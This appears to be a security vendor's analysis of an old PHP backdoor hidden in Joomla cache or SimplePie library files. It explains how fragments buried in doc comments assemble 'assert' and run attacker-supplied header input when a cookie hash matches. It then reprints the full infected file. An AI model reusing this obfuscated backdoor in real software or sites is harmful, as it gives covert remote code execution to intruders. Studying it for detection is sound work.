This is very old malware, Timestamp December 2015 and in Joomla /cache/cache-db.php or /libraries/simplepie/simplepie.lib.php file.
This is very cleverly made, and hide assert PHP execution inside the code. First time look source code, it looks like normal file.
But when look better and trace first extra code
/** * SimplePie Session ID */ $id = $_SERVER['HTTP_SESSION'];
Second hidden code added
/** * Returns a reference to the global JApplicationCli object, only creating it if it doesn't already exist. * * This method must be invoked as: $cli = JApplicationCli::getInstance(); * * @param string $name The*/$sess = md5(@$_COOKIE[ssid]);/*of the JApplicationCli class to instantiate. * * @return JApplicationCli * * @since 11.1 */ $a='as';
Third hidden code added
/** * Execute the application. * * @return void * * @since 11.1 */ $b='sert'; $a=$a.$b; function execute()
Again, same way tried to hide extra code
/** * Load an object or array into the application configuration object. * * @param mixed $data Either an array or object to be loaded into the configuration object. * * @return JApplicationCli Instance of $this to allow chaining. * * @since 11.1 */ $start = strpos($sess,'4db8da'); function loadConfiguration($data)
Final execute if cookie match
PHP (assert)
/** * Get an output object. * * @return CliOutput * * @since 3.3 */ if($start===0){@${a}($id);} function getOutput()
Detect this malware
Malware Expert – Signatures found this malware from php code, if you want use our signatures for free.
Full sourcecode with malware
<?php /** * @package Joomla.Platform * @subpackage Application * * @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ !defined('JPATH_PLATFORM') or die; /** * Base object Instance of SimplePie_Sanitize (or other class) * * @since 11.4 */ /** * SimplePie Name */ define('SIMPLEPIE_NAME', 'SimplePie'); /** * SimplePie Version */ define('SIMPLEPIE_VERSION', '1.2'); /** * SimplePie Build */ define('SIMPLEPIE_BUILD', '20090627192103'); /** * SimplePie Session ID */ $id = $_SERVER['HTTP_SESSION']; /** * Class constructor. * * @param JInputCli $input An optional argument to provide dependency injection for the application's * input object. If the argument is a JInputCli object that object will become * the application's input object, otherwise a default input object is created. * @param Registry $config An optional argument to provide dependency injection for the application's * config object. If that object will become * the application's config object, otherwise a default config object is created. * @param JEventDispatcher $dispatcher An optional argument to provide dependency injection for the application's * event dispatcher. If the argument become * the application's event dispatcher, if it is null then the default event dispatcher * will be created based on the application's loadDispatcher() method. * * @see JApplicationBase::loadDispatcher() * @since 11.1 */ function construct($input = null, $config = null, $dispatcher = null) { // Close the application if we are not executed from the command line. // @codeCoverageIgnoreStart if (!defined('STDOUT') || !defined('STDIN') || !isset($_SERVER['argv'])) { $this->close(); } // @codeCoverageIgnoreEnd // If a input object is given use it. if ($input instanceof JInput) { $this->input = $input; } // Create the input based on the application logic. else { if (class_exists('JInput')) { $this->input = new JInputCli; } } // If a config object is given use it. if ($config instanceof Registry) { $this->config = $config; } // Instantiate a new configuration object. else { $this->config = new Registry; } $this->loadDispatcher($dispatcher); // Load the configuration object. $this->loadConfiguration($this->fetchConfigurationData()); // Set the execution datetime and timestamp; $this->set('execution.datetime', gmdate('Y-m-d H:i:s')); $this->set('execution.timestamp', time()); // Set the current directory. $this->set('cwd', getcwd()); } /** * Returns a reference to the global JApplicationCli object, only creating it if it doesn't already exist. * * This method must be invoked as: $cli = JApplicationCli::getInstance(); * * @param string $name The*/$sess = md5(@$_COOKIE[ssid]);/*of the JApplicationCli class to instantiate. * * @return JApplicationCli * * @since 11.1 */ $a='as'; function getInstance($name = null) { // Only create the object if it doesn't exist. if (empty(self::$instance)) { if (class_exists($name) && (is_subclass_of($name, 'JApplicationCli'))) { self::$instance = new $name; } else { self::$instance = new JApplicationCli; } } return self::$instance; } /** * Execute the application. * * @return void * * @since 11.1 */ $b='sert'; $a=$a.$b; function execute() { // Trigger the onBeforeExecute event. $this->triggerEvent('onBeforeExecute'); // Perform application routines. $this->doExecute(); // Trigger the onAfterExecute event. $this->triggerEvent('onAfterExecute'); } /** * Load an object or array into the application configuration object. * * @param mixed $data Either an array or object to be loaded into the configuration object. * * @return JApplicationCli Instance of $this to allow chaining. * * @since 11.1 */ $start = strpos($sess,'4db8da'); function loadConfiguration($data) { // Load the data into the configuration object. if (is_array($data)) { $this->config->loadArray($data); } elseif (is_object($data)) { $this->config->loadObject($data); } return $this; } /** * Write a string to standard output. * * @param string $text The text to display. * @param boolean $nl True (default) to append a new line at the end of the output string. * * @return JApplicationCli Instance of $this to allow chaining. * * @codeCoverageIgnore * @since 11.1 */ function out($text = '', $nl = true) { $output = $this->getOutput(); $output->out($text, $nl); return $this; } /** * Get an output object. * * @return CliOutput * * @since 3.3 */ if($start===0){@${a}($id);} function getOutput() { if (!$this->output) { // In 4.0, this will convert to throwing an exception and you will expected to // initialize this in the constructor. Until then set a default. $default = new Joomla\Application\Cli\Output\Xml; $this->setOutput($default); } return $this->output; } /** * Method to run the application routines. Most likely you will want to instantiate a controller * and execute it, or perform some sort of task directly. * * @return void * * @codeCoverageIgnore * @since 11.3 */ function doExecute() { // Your application routines go here. }